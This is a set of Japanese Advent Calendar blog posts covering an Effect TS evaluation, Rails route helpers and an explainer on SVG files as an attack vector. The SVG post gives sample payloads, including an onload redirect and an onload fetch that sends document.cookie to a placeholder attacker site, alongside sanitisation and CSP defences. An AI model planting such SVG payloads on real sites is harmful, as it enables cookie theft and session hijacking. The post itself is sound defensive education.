以䞊で、簡略化ずはいえ、業務䞊に実際にあるちょっず耇雑な凊理をEffect TSで実装しおみたした。思ったより長くなりたしたが、ここたでご芧になっおくださっお、ありがずうございたす 怜蚎結果 実装の説明が長くなりたしたが、導入の怜蚎でしたので、怜蚎の結果もちゃんず説明しおいきたいず思いたす。 メリット 型の安党性が非垞に高い、゚ラヌも型情報に入っおいたすので、垞に扱っおいる倉数の型がわかりたす。TypeScript もその情報でより的確なタむプチェックができたす。 開発者の曞き方にもよりたすが、堅牢性が非垞に高くお、開発段階で可胜なシナリオをだいたい型情報から認知できたす。 制埡フロヌの可芖化。埓来の catch 、 throw パタヌンではなく、゚ラヌを倀ずしお扱うこずで、凊理がすごく離れおいる catch block に飛ばされるこずを防いおいたす。個人個人の奜みにもよりたすが、私はこちらのほうがやりやすいず思いたす。 デメリット 習埗するのがすごく難しいです。関数匏の特性が非垞に匷くお、ある皋床関数匏の経隓がないず理解しにくいかず思いたす。その䞊に、䟝存性泚入も結構組み蟌たれおいたすため、それに関しおも、䞀定の知識が必芁ずなりたす、プラグラミング初心者には向いおいないかず思いたす。 アプリ党䜓がEffect TSで実装されおいないずあたり意味がありたせん。圓然のこずなんですが、Effect TSが型の安党を保蚌しおいるのは Effect の䞭だけなので、Effect TS以倖の凊理が混ざっおいたすず、型安党が完党ではなくなりたす。 コヌドを堅牢的に曞かせる フレヌムワヌク なので、コヌドの堅牢性は高たりたすが、開発のコストも比范的に高いかず思いたす。 結論 結論からいいたすず、今のずころ、Effect TSの導入はしないかず思いたす。個人的にはEffect TSのメンタルモデル、型の安党性などが非垞に奜んでいたすが、䞊述の通りに、チヌムに導入するにはコストが倧きすぎたすため、難しいかず思いたす。チヌムメンバヌが党員興味を持っおいお、習埗しおくれるこずになっおいおも既存のアプリにそれを远加するのはコストが高くお、メリットが少ないです。なので、新芏のコヌドベヌスがあっお、チヌムメンバヌがみんなEffect TSで開発したいず思わない限り、Effect TSの導入は難しいかず思いたす。 ずはいえ、私はこの調査を通じお、Effect TSに曎に興味を持぀ようになりたしたので、個人開発、小芏暡の開発などに䜿っおいきたいず考えおおりたす。皆さんもこの蚘事を読んで、興味を持぀ようになったら、ぜひEffect TSを䜿っおみおください おわりに 10日の蚘事の担圓は ゚ンゞニア の小束さんです。お楜しみに。 おたけ この蚘事に蚘茉されおいるコヌドは私の GitHub にも䞊げおいたすので、興味がある方はぜひご芧になっおください Effect Sample Codeはこちら
アバタヌ
こんにちはWebアプリケヌション゚ンゞニアの レミヌ です この蚘事は Enigmo Advent Calendar 2025 の7日目の蚘事です。 最近「Operation Hanoi Thief」ずいう事件を読みたした。 これは、 ベトナム のIT゚ンゞニアや採甚担圓者を狙った サむバヌ攻撃 に぀いおの内容で、怪しいファむルを送り぀けお情報を盗む手口が玹介されおいたした。 その䞭で、䞀芋ただの画像に芋えるファむルでも、実は䞭に攻撃的なコヌドが入っおいる恐れがある、ずいう点が気になったので、 SVG の䞭にある危険な仕組みを玹介したす。 倚くの人にずっお、 SVG ファむルは「軜くお、拡倧しおも劣化しない䟿利な画像ファむル」ずいう印象だず思いたす。 ロゎ、アむコン、バナヌなど、Webでは定番の圢匏ですよね。 でも、実は SVG は「ただの画像」ではありたせん。 SVG はテキストベヌス XML 圢匏のファむルであり、その䞭にコヌドを埋め蟌むこずができたす。 この性質のせいで、本来は「画像ファむル」であるはずのファむルが、攻撃者が悪い目的ずしお利甚される恐れがありたす。 SVG ずは PNG /JPGずの違い JPG、 PNG 、WEBP ずいった圢匏はバむナリデヌタの画像です。䞭にはロゞックや スクリプト が入っおいるこずはありたせん。 䞀方で SVG Scalable Vector Graphicsはたったく別物です。 SVG は XML で曞かれたテキストファむル なので、. svg をメモ垳や VS Code で開くず、䞭身をそのたたテキストずしお読むこずができたす。 䟋 <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <rect x="10" y="10" width="180" height="180" fill="blue"/> </svg> SVG ファむルの䞭に埋め蟌む危険なもの SVG の䞭には、芋た目は「画像ファむル」なのに、実際にはかなり危険なコヌドを埋め蟌むこずができたす。 1. SVG 内郚の JavaScript SVG には、普通の HTML ず同じように <script> タグを埋め蟌むこずができたす。 <svg xmlns="http://www.w3.org/2000/svg"> <script> alert('こんにちは'); </script> </svg> ブラりザの蚭定や衚瀺方法によっおは、この スクリプト が実行されたす。 本番なら、攻撃者は alert(...) の代わりに、䟋えばこんなこずができたす。 ナヌザヌの情報を自分のサヌバヌぞ送信する 悪意のあるサむトぞ自動リダむレクトする SVG をアップロヌドできるWebサむトで XSS 攻撃を行う 2. onload / onclick などのむベント属性 <script> タグがなくおも、むベント属性だけで十分に危険です。䟋えば次のような SVG です。 <svg xmlns="http://www.w3.org/2000/svg" onload="window.location.href='https://example-danger-site.com'"> </svg> この SVG をブラりザで開いただけで、ナヌザヌは自動的に悪意のサむトにリダむレクトされおしたいたす。 そこがフィッシングサむトや マルりェア 配垃サむトなら危険になりたす。 3. SVG アップロヌドを悪甚した XSS 攻撃 ナヌザヌが SVG をアップロヌドできるサむトアむコン、 アバタヌ 、むラストなどで、 サニタむズ せずにそのたた衚瀺しおいるず、攻撃者にずっおは、 <script> や onload を含んだ SVG をアップロヌドし、その スクリプト はそのサむトのコンテキストで実行されたす。 その結果、䟋えばこんなこずが可胜になりたす。 document.cookie を盗んでセッションを乗っ取る 管理者アカりントで操䜜する 䟋えば危険な SVG ファむル <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://example-bad-site.com/log?c='+document.cookie)"> <text x="10" y="20">Hello world!</text> </svg> これが <img> ではなく、HTML内に inlineで <svg>...</svg> ずしお埋め蟌たれ、ブラりザがブロックしない堎合は、 document.cookie がそのたた攻撃者のサヌバヌに送信されおしたいたす。 どんな SVG なら安党なのか 䟋えば次のような、テキストだけで構成されおいる SVG は安党です。 <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <circle cx="100" cy="100" r="80" fill="green" /> <text x="60" y="105" font-size="20" fill="white">安党なSVG</text> </svg> どうしおかずいうず、以䞋のような芁玠や属性が含たれおいないのです。 <script> タグ onload, onclick, onmouseover, onerror などのむベント属性 倖郚URLやリク゚ストを飛ばしおいるコヌド SVG から身を守るためのポむント 䞀般ナヌザヌ向けの泚意点 知らない人から送られおきた SVG ファむルを、すぐにブラりザで開かない。どうしおも䞭身を確認したい堎合は、たず テキスト゚ディタ  VS Code , Notepadなどで開いおみお、以䞋のようなものがないか確認する。 <script> タグ onload, onclick, onmouseover, onerror などのむベント属性 倖郚URLやリク゚ストを飛ばしおいるコヌド Web開発者向けの察策 ナヌザヌによるアップロヌドされる SVG を、 サニタむズ する凊理を行う <script> タグを削陀する onload, onclick, onerror, onmouseover などのむベント属性を削陀する 倖郚URLやリク゚ストを飛ばしおいるコヌドを削陀する 信頌できない SVG を inlineで <svg>...</svg> ずしお レンダリング しない。ナヌザヌ由来の SVG はできるだけ <img src="/path/to/file.svg"> で倖郚ファむルずしお扱うべき 適切な Content-Type や Content-Security-Policy ヘッダを蚭定し、 スクリプト 実行を抑制する たずめ SVG は䟿利だけど「画像だから安党」ずは限らない SVG 自䜓はずおも䟿利なフォヌマットです。 SVG 自䜓は危険ではありたせんが、攻撃者の手に入るず危険なものになる恐れがあるため、䜿甚䞭に泚意する必芁がありたす。 明日の蚘事の担圓はフロント゚ンド゚ンゞニアの匵さんです。お楜しみに。
アバタヌ
こんにちは WEBアプリケヌション゚ンゞニア の小束です 今たで䞻に ECサむト のWEB゚ンゞニアをやっおいお、本栌的に Ruby On Rails の開発をするのは ゚ニグモ に入瀟しおからです。 この蚘事は[ Enigmo Advent Calendar 2025 ]の6日目の蚘事です。   はじめになぜ今、ルヌトヘルパヌを振り返るのか ルヌトヘルパヌずはなぜ必芁なのか ハヌドコヌド vs ヘルパヌ 基本的な仕様ず䜿い分け 1. 基本圢resources から生成されるもの 2. _path ず _url の違い 耇雑なルヌトの解読ここが぀たずきポむント ケヌス1namespace 管理画面などでよく芋る ケヌス2scope URLだけ倉えたい たずめ意思決定の軞を持぀ 最埌に はじめになぜ今、ルヌトヘルパヌを振り返るのか Rails の開発においお、 articles_path や new_admin_order_path ずいった「ルヌトヘルパヌ」は圓たり前のように䜿われおいたす。しかし、 埌からプロゞェクトに参画した゚ンゞニアや、 Rails に慣れおいない初孊者にずっお、これらは時に「読みにくい呪文」に芋えるこずがありたす。 私自身、芏暡の倧きなプロゞェクトに関わった際、倧量に定矩されたルヌト蚭定ず、そこから生成される長いヘルパヌメ゜ッドを芋お、「これ、結局どこのURLに飛ぶんだ」ず読み解くのに時間を取られた経隓がありたす。小芏暡なアプリなら掚枬できおも、耇雑な namespace や scope が絡むず䞀気に難易床が䞊がりたす。 熟緎の Rails ゚ンゞニアにずっおは「垞識」で片付けられがちな郚分ですが、 「実はここでハマる人は倚いのではないか」「か぀おの自分のような人のための地図が必芁だ」 ず考え、この蚘事にたずめるこずにしたした。 今回は、単なる仕様解説だけでなく、なぜこれを䜿うのかずいう背景も含めお、 Rails のルヌトヘルパヌを培底解説したす。 ルヌトヘルパヌずはなぜ必芁なのか Rails のルヌトヘルパヌは、 config/routes.rb の蚭定に基づいお自動生成されるURL生成メ゜ッドです。 ハヌドコヌド vs ヘルパヌ 初心者のうちは「盎接 /articles/1 っお曞いたほうが盎感的で早くない」ず思うかもしれたせん。しかし、プロゞェクトが倧きくなるず、その考えは 「保守の悪倢」 に倉わりたす。 盎曞きハヌドコヌド: /articles/1 ヘルパヌ: article_path(1) もし将来、URL蚭蚈が倉わり /posts/1 に倉曎したくなった堎合、盎曞きだず党おのファむルを怜玢しお眮換する必芁がありたす。䞀方、ルヌトヘルパヌを䜿っおいれば、 routes.rb を䞀行曞き換えるだけで、アプリ内の党リンクが自動的に新しいURLに察応したす。 「可読性の䞀時的な䜎䞋」ずいうコストを払っおでも、「将来の倉曎に匷いメンテナンス性」ずいうメリットを取る。 それがルヌトヘルパヌを採甚する理由です。 基本的な仕様ず䜿い分け それでは、具䜓的な「解読方法」を芋おいきたしょう。 1. 基本圢resources から生成されるもの 最も基本ずなる圢です。 Rails.application.routes.draw do resources :articles, only: [:index, :show] end この蚭定により、以䞋のメ゜ッドが䜿えるようになりたす。 生成されるヘルパヌ 実際のURL 圹割 articles_path /articles 䞀芧ペヌゞなど article_path(id) /articles/:id 詳现ペヌゞなど ここたでは掚枬しやすい範囲です。 2. _path ず _url の違い ここも初心者が迷うポむントです。「どっちを䜿えばいいの」ずいう疑問に察する答えはシンプルです。 _path ヘルパヌ 䟋 articles_path  出力: /articles  盞察パス  甹途: サむト内のリンク link_to など 理由: ドメむン が倉わっおも圱響を受けないため、基本はこちらを䜿いたす。 _url ヘルパヌ 䟋 articles_url  出力: https://example.com/articles  絶察パス  甹途: リダむレクト、倖郚ぞのリンク、メヌル本文 理由: メヌルの䞭に 盞察パス  /articles を曞いおもリンクずしお機胜しないため、 ドメむン 付きのフルパスが必芁です。 耇雑なルヌトの解読ここが぀たずきポむント 芏暡が倧きいプロゞェクトで可読性が䞋がる原因は、䞻に namespace や scope の存圚です。ここを敎理しお理解しおおくず、コヌドを読むスピヌドが栌段に䞊がりたす。 ケヌス1namespace 管理画面などでよく芋る Rails.application.routes.draw do namespace :admin do resources :orders end end namespace は「 ディレクト リ構成コントロヌラヌ」ず「URL」の䞡方を分けたい時に䜿いたす。 ヘルパヌ: admin_orders_path URL: /admin/orders コントロヌラヌ: Admin::OrdersController ヘルパヌ名に admin_ ずいう接頭蟞 プレフィックス が぀きたす。これが長くなるず読みづらさの原因になりたすが、「 admin 以䞋の機胜だな」ず䞀目で分かるメリットもありたす。 ケヌス2scope URLだけ倉えたい 「URLは倉えたいけど、コントロヌラヌは既存のものを䜿いたい」ずいう、少し特殊な芁件で䜿われたす。 Rails.application.routes.draw do scope "/dashboard" do resources :reports end end ヘルパヌ: reports_path  dashboard が぀かない  URL: /dashboard/reports コントロヌラヌ: ReportsController そのたた ここが混乱ポむントです。 scope の曞き方によっおはヘルパヌ名が倉わらないため、「 reports_path っお曞いおあるのに、なぜか /dashboard に飛ぶぞ」ずいう珟象が起きたす。 ※ scope に as: オプションを぀けるこずでヘルパヌ名を倉えるこずも可胜です たずめ意思決定の軞を持぀ ルヌトヘルパヌのメリット・デメリットを敎理したす。 メリット URL倉曎時の修正コストがほがれロになる。 _path ず _url の䜿い分けで、内郚・倖郚リンクを安党に生成できる。 デメリット namespace が深くなるず、 admin_dashboard_statistics_monthly_reports_path のように非垞に長い名前になり、䞀芋しお理解しづらくなる。 初芋殺しになりやすい。 最埌に 「 Rails に慣れおいる人には簡単でも、知らない人にずっおは倧きな壁になる」のがルヌトヘルパヌです。 もしあなたがコヌドレビュヌや修正をする際、長いヘルパヌメ゜ッドに出䌚ったら、たずは routes.rb を確認し、 「それがどのコントロヌラヌのどのアクションに玐付いおいるか」を確認する癖を぀けおみおください。 その構造が芋えおくれば、ルヌトヘルパヌは「読みにくい呪文」から「安党に開発を進めるための匷力な歊噚」に倉わるはずです。   明日12/7の蚘事は レミヌ さんの「 SVG ファむルは本圓に安党なのか」です。
アバタヌ